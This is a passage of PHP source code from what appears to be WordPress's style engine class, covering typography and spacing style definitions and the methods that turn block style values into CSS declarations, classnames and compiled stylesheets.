					'individual' => 'padding-%s',
				),
				'path'          => array( 'spacing', 'padding' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
			'margin'  => array(
				'property_keys' => array(
					'default'    => 'margin',
					'individual' => 'margin-%s',
				),
				'path'          => array( 'spacing', 'margin' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
		),
		'typography' => array(
			'fontSize'       => array(
				'property_keys' => array(
					'default' => 'font-size',
				),
				'path'          => array( 'typography', 'fontSize' ),
				'css_vars'      => array(
					'font-size' => '--wp--preset--font-size--$slug',
				),
				'classnames'    => array(
					'has-$slug-font-size' => 'font-size',
				),
			),
			'fontFamily'     => array(
				'property_keys' => array(
					'default' => 'font-family',
				),
				'css_vars'      => array(
					'font-family' => '--wp--preset--font-family--$slug',
				),
				'path'          => array( 'typography', 'fontFamily' ),
				'classnames'    => array(
					'has-$slug-font-family' => 'font-family',
				),
			),
			'fontStyle'      => array(
				'property_keys' => array(
					'default' => 'font-style',
				),
				'path'          => array( 'typography', 'fontStyle' ),
			),
			'fontWeight'     => array(
				'property_keys' => array(
					'default' => 'font-weight',
				),
				'path'          => array( 'typography', 'fontWeight' ),
			),
			'lineHeight'     => array(
				'property_keys' => array(
					'default' => 'line-height',
				),
				'path'          => array( 'typography', 'lineHeight' ),
			),
			'textColumns'    => array(
				'property_keys' => array(
					'default' => 'column-count',
				),
				'path'          => array( 'typography', 'textColumns' ),
			),
			'textDecoration' => array(
				'property_keys' => array(
					'default' => 'text-decoration',
				),
				'path'          => array( 'typography', 'textDecoration' ),
			),
			'textTransform'  => array(
				'property_keys' => array(
					'default' => 'text-transform',
				),
				'path'          => array( 'typography', 'textTransform' ),
			),
			'letterSpacing'  => array(
				'property_keys' => array(
					'default' => 'letter-spacing',
				),
				'path'          => array( 'typography', 'letterSpacing' ),
			),
			'writingMode'    => array(
				'property_keys' => array(
					'default' => 'writing-mode',
				),
				'path'          => array( 'typography', 'writingMode' ),
			),
		),
	);

	/**
	 * Util: Extracts the slug in kebab case from a preset string,
	 * e.g. `heavenly-blue` from `var:preset|color|heavenlyBlue`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value  A single CSS preset value.
	 * @param string $property_key The CSS property that is the second element of the preset string.
	 *                             Used for matching.
	 * @return string The slug, or empty string if not found.
	 */
	protected static function get_slug_from_preset_value( $style_value, $property_key ) {
		if ( is_string( $style_value ) && is_string( $property_key )
			&& str_contains( $style_value, "var:preset|{$property_key}|" )
		) {
			$index_to_splice = strrpos( $style_value, '|' ) + 1;
			return _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );
		}
		return '';
	}

	/**
	 * Util: Generates a CSS var string, e.g. `var(--wp--preset--color--background)`
	 * from a preset string such as `var:preset|space|50`.
	 *
	 * @since 6.1.0
	 *
	 * @param string   $style_value  A single CSS preset value.
	 * @param string[] $css_vars     An associate array of CSS var patterns
	 *                               used to generate the var string.
	 * @return string The CSS var, or an empty string if no match for slug found.
	 */
	protected static function get_css_var_value( $style_value, $css_vars ) {
		foreach ( $css_vars as $property_key => $css_var_pattern ) {
			$slug = static::get_slug_from_preset_value( $style_value, $property_key );
			if ( static::is_valid_style_value( $slug ) ) {
				$var = strtr(
					$css_var_pattern,
					array( '$slug' => $slug )
				);
				return "var($var)";
			}
		}
		return '';
	}

	/**
	 * Util: Checks whether an incoming block style value is valid.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value A single CSS preset value.
	 * @return bool
	 */
	protected static function is_valid_style_value( $style_value ) {
		return '0' === $style_value || ! empty( $style_value );
	}

	/**
	 * Stores a CSS rule using the provided CSS selector and CSS declarations.
	 *
	 * @since 6.1.0
	 * @since 6.6.0 Added the `$rules_group` parameter.
	 *
	 * @param string   $store_name       A valid store key.
	 * @param string   $css_selector     When a selector is passed, the function will return
	 *                                   a full CSS rule `$selector { ...rules }`
	 *                                   otherwise a concatenated string of properties and values.
	 * @param string[] $css_declarations An associative array of CSS definitions,
	 *                                   e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 * @param string $rules_group        Optional. A parent CSS selector in the case of nested CSS, or a CSS nested @rule,
	 *                                   such as `@media (min-width: 80rem)` or `@layer module`.
	 */
	public static function store_css_rule( $store_name, $css_selector, $css_declarations, $rules_group = '' ) {
		if ( empty( $store_name ) || empty( $css_selector ) || empty( $css_declarations ) ) {
			return;
		}
		static::get_store( $store_name )->add_rule( $css_selector, $rules_group )->add_declarations( $css_declarations );
	}

	/**
	 * Returns a store by store key.
	 *
	 * @since 6.1.0
	 *
	 * @param string $store_name A store key.
	 * @return WP_Style_Engine_CSS_Rules_Store|null
	 */
	public static function get_store( $store_name ) {
		return WP_Style_Engine_CSS_Rules_Store::get_store( $store_name );
	}

	/**
	 * Returns classnames and CSS based on the values in a styles object.
	 *
	 * Return values are parsed based on the instructions in BLOCK_STYLE_DEFINITIONS_METADATA.
	 *
	 * @since 6.1.0
	 *
	 * @param array $block_styles The style object.
	 * @param array $options      {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool        $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                                   e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                                   to `var( --wp--preset--* )` values. Default false.
	 *     @type string      $selector                   Optional. When a selector is passed,
	 *                                                   the value of `$css` in the return value will comprise
	 *                                                   a full CSS rule `$selector { ...$css_declarations }`,
	 *                                                   otherwise, the value will be a concatenated string
	 *                                                   of CSS declarations.
	 * }
	 * @return array {
	 *     @type string[] $classnames   Array of class names.
	 *     @type string[] $declarations An associative array of CSS definitions,
	 *                                  e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 * }
	 */
	public static function parse_block_styles( $block_styles, $options ) {
		$parsed_styles = array(
			'classnames'   => array(),
			'declarations' => array(),
		);
		if ( empty( $block_styles ) || ! is_array( $block_styles ) ) {
			return $parsed_styles;
		}

		// Collect CSS and classnames.
		foreach ( static::BLOCK_STYLE_DEFINITIONS_METADATA as $definition_group_key => $definition_group_style ) {
			if ( empty( $block_styles[ $definition_group_key ] ) ) {
				continue;
			}
			foreach ( $definition_group_style as $style_definition ) {
				$style_value = _wp_array_get( $block_styles, $style_definition['path'], null );

				if ( ! static::is_valid_style_value( $style_value ) ) {
					continue;
				}

				$classnames = static::get_classnames( $style_value, $style_definition );
				if ( ! empty( $classnames ) ) {
					$parsed_styles['classnames'] = array_merge( $parsed_styles['classnames'], $classnames );
				}

				$css_declarations = static::get_css_declarations( $style_value, $style_definition, $options );
				if ( ! empty( $css_declarations ) ) {
					$parsed_styles['declarations'] = array_merge( $parsed_styles['declarations'], $css_declarations );
				}
			}
		}

		return $parsed_styles;
	}

	/**
	 * Returns classnames, and generates classname(s) from a CSS preset property pattern,
	 * e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value      A single raw style value or CSS preset property
	 *                                 from the `$block_styles` array.
	 * @param array  $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An array of CSS classnames, or empty array if there are none.
	 */
	protected static function get_classnames( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$classnames = array();
		if ( ! empty( $style_definition['classnames'] ) ) {
			foreach ( $style_definition['classnames'] as $classname => $property_key ) {
				if ( true === $property_key ) {
					$classnames[] = $classname;
					continue;
				}

				$slug = static::get_slug_from_preset_value( $style_value, $property_key );

				if ( $slug ) {
					/*
					 * Right now we expect a classname pattern to be stored in BLOCK_STYLE_DEFINITIONS_METADATA.
					 * One day, if there are no stored schemata, we could allow custom patterns or
					 * generate classnames based on other properties
					 * such as a path or a value or a prefix passed in options.
					 */
					$classnames[] = strtr( $classname, array( '$slug' => $slug ) );
				}
			}
		}

		return $classnames;
	}

	/**
	 * Returns an array of CSS declarations based on valid block style values.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @param array $options          {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 */
	protected static function get_css_declarations( $style_value, $style_definition, $options = array() ) {
		if ( isset( $style_definition['value_func'] ) && is_callable( $style_definition['value_func'] ) ) {
			return call_user_func( $style_definition['value_func'], $style_value, $style_definition, $options );
		}

		$css_declarations     = array();
		$style_property_keys  = $style_definition['property_keys'];
		$should_skip_css_vars = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames'];

		/*
		 * Build CSS var values from `var:preset|<PRESET_TYPE>|<PRESET_SLUG>` values, e.g, `var(--wp--css--rule-slug )`.
		 * Check if the value is a CSS preset and there's a corresponding css_var pattern in the style definition.
		 */
		if ( is_string( $style_value ) && str_contains( $style_value, 'var:' ) ) {
			if ( ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) {
				$css_var = static::get_css_var_value( $style_value, $style_definition['css_vars'] );
				if ( static::is_valid_style_value( $css_var ) ) {
					$css_declarations[ $style_property_keys['default'] ] = $css_var;
				}
			}
			return $css_declarations;
		}

		/*
		 * Default rule builder.
		 * If the input contains an array, assume box model-like properties
		 * for styles such as margins and padding.
		 */
		if ( is_array( $style_value ) ) {
			// Bail out early if the `'individual'` property is not defined.
			if ( ! isset( $style_property_keys['individual'] ) ) {
				return $css_declarations;
			}

			foreach ( $style_value as $key => $value ) {
				if ( is_string( $value ) && str_contains( $value, 'var:' ) && ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) {
					$value = static::get_css_var_value( $value, $style_definition['css_vars'] );
				}

				$individual_property = sprintf( $style_property_keys['individual'], _wp_to_kebab_case( $key ) );

				if ( $individual_property && static::is_valid_style_value( $value ) ) {
					$css_declarations[ $individual_property ] = $value;
				}
			}

			return $css_declarations;
		}

		$css_declarations[ $style_property_keys['default'] ] = $style_value;
		return $css_declarations;
	}

	/**
	 * Style value parser that returns a CSS definition array comprising style properties
	 * that have keys representing individual style properties, otherwise known as longhand CSS properties.
	 *
	 * Example:
	 *
	 *     "$style_property-$individual_feature: $value;"
	 *
	 * Which could represent the following:
	 *
	 *     "border-{top|right|bottom|left}-{color|width|style}: {value};"
	 *
	 * or:
	 *
	 *     "border-image-{outset|source|width|repeat|slice}: {value};"
	 *
	 * @since 6.1.0
	 *
	 * @param array $style_value                    A single raw style value from `$block_styles` array.
	 * @param array $individual_property_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA
	 *                                              representing an individual property of a CSS property,
	 *                                              e.g. 'top' in 'border-top'.
	 * @param array $options                        {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 */
	protected static function get_individual_property_css_declarations( $style_value, $individual_property_definition, $options = array() ) {
		if ( ! is_array( $style_value ) || empty( $style_value ) || empty( $individual_property_definition['path'] ) ) {
			return array();
		}

		/*
		 * The first item in $individual_property_definition['path'] array
		 * tells us the style property, e.g. "border". We use this to get a corresponding
		 * CSS style definition such as "color" or "width" from the same group.
		 *
		 * The second item in $individual_property_definition['path'] array
		 * refers to the individual property marker, e.g. "top".
		 */
		$definition_group_key    = $individual_property_definition['path'][0];
		$individual_property_key = $individual_property_definition['path'][1];
		$should_skip_css_vars    = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames'];
		$css_declarations        = array();

		foreach ( $style_value as $css_property => $value ) {
			if ( empty( $value ) ) {
				continue;
			}

			// Build a path to the individual rules in definitions.
			$style_definition_path = array( $definition_group_key, $css_property );
			$style_definition      = _wp_array_get( static::BLOCK_STYLE_DEFINITIONS_METADATA, $style_definition_path, null );

			if ( $style_definition && isset( $style_definition['property_keys']['individual'] ) ) {
				// Set a CSS var if there is a valid preset value.
				if ( is_string( $value ) && str_contains( $value, 'var:' )
					&& ! $should_skip_css_vars && ! empty( $individual_property_definition['css_vars'] )
				) {
					$value = static::get_css_var_value( $value, $individual_property_definition['css_vars'] );
				}

				$individual_css_property = sprintf( $style_definition['property_keys']['individual'], $individual_property_key );

				$css_declarations[ $individual_css_property ] = $value;
			}
		}
		return $css_declarations;
	}

	/**
	 * Style value parser that constructs a CSS definition array comprising a single CSS property and value.
	 * If the provided value is an array containing a `url` property, the function will return a CSS definition array
	 * with a single property and value, with `url` escaped and injected into a CSS `url()` function,
	 * e.g., array( 'background-image' => "url( '...' )" ).
	 *
	 * @since 6.4.0
	 *
	 * @param array $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An associative array of CSS definitions, e.g., array( "$property" => "$value", "$property" => "$value" ).
	 */
	protected static function get_url_or_value_css_declaration( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$css_declarations = array();

		if ( isset( $style_definition['property_keys']['default'] ) ) {
			$value = null;

			if ( ! empty( $style_value['url'] ) ) {
				$value = "url('" . $style_value['url'] . "')";
			} elseif ( is_string( $style_value ) ) {
				$value = $style_value;
			}

			if ( null !== $value ) {
				$css_declarations[ $style_definition['property_keys']['default'] ] = $value;
			}
		}

		return $css_declarations;
	}

	/**
	 * Returns compiled CSS from CSS declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $css_declarations An associative array of CSS definitions,
	 *                                   e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 * @param string   $css_selector     When a selector is passed, the function will return
	 *                                   a full CSS rule `$selector { ...rules }`,
	 *                                   otherwise a concatenated string of properties and values.
	 * @return string A compiled CSS string.
	 */
	public static function compile_css( $css_declarations, $css_selector ) {
		if ( empty( $css_declarations ) || ! is_array( $css_declarations ) ) {
			return '';
		}

		// Return an entire rule if there is a selector.
		if ( $css_selector ) {
			$css_rule = new WP_Style_Engine_CSS_Rule( $css_selector, $css_declarations );
			return $css_rule->get_css();
		}

		$css_declarations = new WP_Style_Engine_CSS_Declarations( $css_declarations );
		return $css_declarations->get_declarations_string();
	}

	/**
	 * Returns a compiled stylesheet from stored CSS rules.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Style_Engine_CSS_Rule[] $css_rules An array of WP_Style_Engine_CSS_Rule objects
	 *                                              from a store or otherwise.
	 * @param array                      $options   {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type string|null $context  An identifier describing the origin of the style object,
	 *                                 e.g. 'block-supports' or 'global-styles'. Default 'block-supports'.
	 *                                 When set, the style engine will attempt to store the CSS rules.
	 *     @type bool        $optimize Whether to optimize the CSS output, e.g. combine rules.
	 *                                 Default false.
	 *     @type bool        $prettify Whether to add new lines and indents to output.
	 *                                 Defaults to whether the `SCRIPT_DEBUG` constant is defined.
	 * }
	 * @return string A compiled stylesheet from stored CSS rules.
	 */
	public static function compile_stylesheet_from_css_rules( $css_rules, $options = array() ) {
		$processor = new WP_Style_Engine_Processor();
		$processor->add_rules( $css_rules );
		return $processor->get_css( $options );
	}
}